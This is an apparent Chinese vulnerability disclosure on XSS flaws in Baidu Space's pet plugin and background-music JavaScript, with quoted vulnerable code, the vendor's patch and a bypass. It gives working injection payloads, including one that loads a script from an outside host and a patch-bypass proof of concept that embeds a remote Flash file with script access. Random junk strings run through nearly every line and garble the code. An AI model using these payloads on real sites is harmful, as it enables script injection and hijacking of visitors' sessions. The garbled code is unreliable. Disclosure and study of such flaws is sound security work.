百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ u0 d, u: U7 H) Z3 _# F/ V/ ^; w+ H m n- ~
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. / X* g7 n4 Z, h5 h2 j
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
# d% o; V4 _7 F; A! g1 H. }' G! o" c
( u# _- y( a# w, _将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> * |: [6 Z- X; e; [/ x( Z
其中BdUtil.insertWBR为 9 o+ z* N; y3 I
function(text, step) {
( _2 Z% }9 a7 N5 Q$ u var textarea = textAreaCache || getContainer(); % s# }7 k9 X4 c
if (!textarea) {
5 z( V& b' `5 |9 B: f7 `0 z return text; % ]+ J: Q& B) L$ u( K
}
8 b+ C) o) m9 O, o$ h textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
; r2 ^& v. ]4 M6 p# E var string = textarea.value; 2 w! o( j5 Y9 |% P# j7 ^4 q
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
9 Z( K3 r& t+ K/ K# J- j var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); W9 O1 }" ~( P5 e; F( m
return result; r/ l! \) o1 `6 m6 ~& @+ N
} # H$ n- \; _) b
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
0 h/ s" y9 e3 ^- ^测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
0 P" x' a. v& H1 [ ^7 T e& a" F2 a 7 `$ Q# b8 ]/ Z8 P- [2 X, X
二:creatbgmusic() Dom-Xss Bug U) S. _8 W0 j$ B7 H- j
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
4 X5 f% t# G4 |6 s% Q2 e3 Z0 ?, {6 M& U/ I! j: _; H: w6 k
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: $ T9 j# m3 l. @
, \) u: D2 E% p, H0 j4 u. }" r! r
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
& |0 W2 W% i! _& j F //传入的murl赋值到bgmusic1和bgmusic2中 - o) v" a; t+ t) n9 [( Y1 |
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
% H0 G; G. e, C* V9 i var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
7 D: [! E) P: o if (musicnum <= 1) {
! b5 s, w0 i Z: ^ bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
, g! s# {" e% A$ K, @ } 7 A/ y. f2 w( i; \. A
bgmusic1 += "</OBJECT>";
# m& u3 m4 e9 y z3 b: I var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
8 K5 z0 f. |, ?4 T" z& a if (musicnum <= 1) { ! ~* J* }4 }! M/ g. Q
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
7 e3 Z: i2 i8 C, p8 o }
; V. o" { N3 G. m bgmusic2 += "> </EMBED>"; " v* v p. ~% X, ~
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 4 A7 _7 e6 R6 ~, ?
var bgmus = detectWMP(); 1 ]* o. s; ?4 h5 Q; e+ k3 L9 l+ Q
if (functype == "FckMusicHelper") {
; m0 P7 A5 E2 r U5 W if (bgmus.installed) {
) z9 U: i% {$ x) r if (bgmus.type == "IE") { ! i* Q. @' c3 @7 V& K! n
return bgmusic1;
# M8 y1 d9 X# {3 Y } else if (bgmus.type == "NS") { $ ?- a& P1 M0 \2 E7 R9 |$ Z; d
return bgmusic2;
$ y/ [( }* O& ]4 W6 |: s } , L6 S. O B& L5 b: Q# Z
} else {
. I2 z& u0 [$ i' ? return bgmusic3; 1 V2 D5 d& K+ E% i- y" V
}
5 W% ^# f. \. `/ c( n- K } else {
6 ], s8 Y1 `3 c4 J# Q3 g) J if (bgmus.installed) { 9 W- T$ m C9 q) t
//document.write 直接输出bgmusic变量 导致xss
, c. M/ i: E/ `' R0 ? if (bgmus.type == "IE") { ! C: D0 P m4 `5 b, v
document.write(bgmusic1);
! }7 X1 |2 G/ n! |. k } else if (bgmus.type == "NS") {
9 [; X- S- e4 I, Y" F8 K- Z document.write(bgmusic2);
- X0 n/ w; @' f1 J, M }
7 ^3 \. I6 \4 D; u3 S+ ~9 u } else { 5 R. b& E& N6 Q1 b9 l6 t B
document.write(bgmusic3); 4 F( P4 S9 X* W' n3 R
}
1 N) {& t9 [" I- ~( A return "";
P& p7 e0 y6 V } ! X4 Q8 T4 ]0 r# a1 M4 a
} 3 ^& y) I- I4 M- ?8 j
3 m2 Y! W6 |- R& J" q6 N/ j在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: # X& l# u& ~! i& _. h& d& X
7 ]: e7 S( R+ j+ rfunction initBlogTextForFCK(){ 0 [( f. C, N2 z/ D% x( h( g
//fck init music 8 m" N$ p2 F Z. B' R" w
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} % h. h, n2 V& x/ _$ K0 R0 n' d
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
! A- ]) ~% o) q( I; s4 n: ~# x k5 ivar isAutoPlay=true; - ~0 H. Z7 {4 n2 Y/ _9 W: J) E6 B
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. ' ]& h7 ~& ^3 i" x7 p: X
var img=imgBox; i# @& m7 |+ E K9 g
if(img.getAttribute(’rel’)){
% S5 f, y9 \& d- R var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc + F/ r0 c, M# Q1 q
var musicDiv = document.createElement("SPAN");
3 U* f; m$ K n, f0 S* C8 ^ var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
/ x' x; V/ [( s& h+ c 3 S: m5 y+ e. ?9 {$ {# _
.......................... / {3 H# C' P9 L5 j8 t9 w
* o9 e2 J0 ^$ Z+ I a; M% m //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. $ S' N1 z E* C, W
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
2 b- H4 S" F' X& g/ K shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); $ U, K4 ? Z4 Z8 ]! j
musicDiv.innerHTML=shtml; ( C! t8 {/ z- q. ]
i--;n--; , x! t4 d3 C5 |8 Y8 R8 E/ Y
} 5 \8 T0 P. z" l! t- V
} / T* h2 T4 F1 b% ^3 ~
1 Z5 Z; X1 x* _9 ~+ p从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. & y3 j c* j4 M: V- j/ b; c( T
$ H* l5 t6 O- F9 k
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 7 ~* x5 g/ N2 n. [, E1 x
- Q H! h# B2 y7 a+ e/ Z等待官方补丁 9 t% D% f1 K1 L
8 U$ N, M$ e) \9 [9 M2 @update 2010年5月13日 2 h: T0 X$ ]" e% i
1 A" a q7 n, v1 d" d官方补丁: 8 ^4 t* u; G* e S/ F6 t
, e( Q% R; ?5 B5 d) r
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
1 y1 [" _* [4 j改为: 5 H8 L8 Z/ f( l h2 E+ S9 b. y
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); * }7 }. a4 V) ~$ ]
# B `: e/ F; L0 E6 A; i
update 2010年5月13日 21:50:37 $ R! p5 I% }" Q% D" _* S0 F
$ q1 }1 K# r) s2 T6 Q9 A6 z补丁存在漏洞 没有过滤" 可以继续跨: % S2 G4 M& W( ~9 m
9 J; }( r! \6 X3 Z7 L: iNEW POC: 9 W) L+ Z1 W* `4 E
/ `/ l3 d9 N8 j( m
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" & s0 I$ N! J1 ~( T: m( J3 F% J e( l
; W: v7 X9 A6 Aallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
. I" O2 Y* G: r
; l) B8 q; i# E z( w5 U |